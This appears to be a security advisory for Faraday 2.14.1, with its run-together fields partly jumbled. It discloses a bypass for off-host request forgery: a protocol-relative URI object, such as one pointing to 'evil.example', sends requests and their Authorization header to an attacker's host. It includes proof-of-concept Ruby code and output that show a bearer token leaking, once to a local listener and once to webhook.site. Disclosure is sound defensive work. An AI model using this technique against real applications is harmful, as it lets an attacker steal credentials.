Faraday::Connection#build_exclusive_url still allows protocol-relative host override when the request target is provided as a URI object instead of a String. This bypasses the February 2026 fix for GHSA-33mh-2634-fwr2 and can redirect a request built from a fixed-base Faraday::Connection to an attacker-controlled host while preserving connection-scoped headers such as Authorization.
lib/faraday/connection.rblib/faraday/request.rbspec/faraday/connection_spec.rbspec/faraday/request_spec.rbFaraday::Connection#build_exclusive_urlFaraday::Connection#run_requestFaraday::Request#urlFaraday::Request#to_envFaraday 2.14.1a01039c948d3e9e41e03d152aed7244f0fb4d5caURI.parse(...) and passes to conn.get(...), [conn.post](http://conn.post/)(...), or req.url(...)URI("//evil.example/pwn")lib/.URI object to req.url.Authorization header remains attached to the off-host request.2.14.1, faraday-net_http, local WEBrick listener on 127.0.0.1:4567, HEAD a01039c948d3e9e41e03d152aed7244f0fb4d5ca$ ruby -e 'require "webrick"; server = WEBrick::HTTPServer.new(Port: 4567, BindAddress: "127.0.0.1", AccessLog: [], Logger: WEBrick::Log.new($stderr, WEBrick::Log::WARN)); server.mount_proc("/") { |req, res| res.status = 200; res.body = "host=#{req.host}\nauth=#{req["Authorization"]}\npath=#{req.path}\n" }; trap("INT") { server.shutdown }; server.start'
$ ruby -Ilib -e 'require "faraday"; require "faraday/net_http"; conn = Faraday.new(url: "http://trusted.example/base", headers: {"Authorization" => "Bearer secret-token"}) { |f| f.adapter :net_http }; target = ["//127.0.0.1:4567", "/pwn"].join; resp = conn.get(URI(target)); puts resp.status; puts resp.body'
- PoC code (inline):
require "faraday"
require "faraday/net_http"
conn = Faraday.new(url: "http://trusted.example/base", headers: {
"Authorization" => "Bearer secret-token"
}) { |f| f.adapter :net_http }
target = ["//127.0.0.1:4567", "/pwn"].join
resp = conn.get(URI(target))
puts resp.status
puts resp.body
- Exit code: 0
- stdout (relevant excerpt):
200
host=127.0.0.1
auth=Bearer secret-token
path=/pwn
- stderr (relevant excerpt):
N/A
- Artifacts: none
The issue was also independently reproduced against a public HTTP collector on Faraday 2.14.1 using the default net_http adapter:
require "faraday"
require "faraday/net_http"
conn = Faraday.new(
url: "http://trusted.example/base",
headers: { "Authorization" => "Bearer secret-token" }
) { |f| f.adapter :net_http }
target = ["//webhook.site", "/<collector-id>"].join
resp = conn.get(URI(target))
resp.status
# => 200
resp.url.host
# => "webhook.site"
This external confirmation shows the request is not only misbuilt in memory, but is actually dispatched off-host by a real adapter under normal usage.
GHSA-33mh-2634-fwr2CVE-2026-25765spec/faraday/connection_spec.rb:314-345URI request input:
spec/faraday/request_spec.rb:26-31The direct consequence is off-host request forgery from code paths that believe they are constrained to a fixed base URL. If the connection carries default headers or query parameters, those values are forwarded to the attacker-selected host.
{
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T14:51:51Z",
"nvd_published_at": "2026-05-19T19:16:49Z",
"severity": "LOW"
}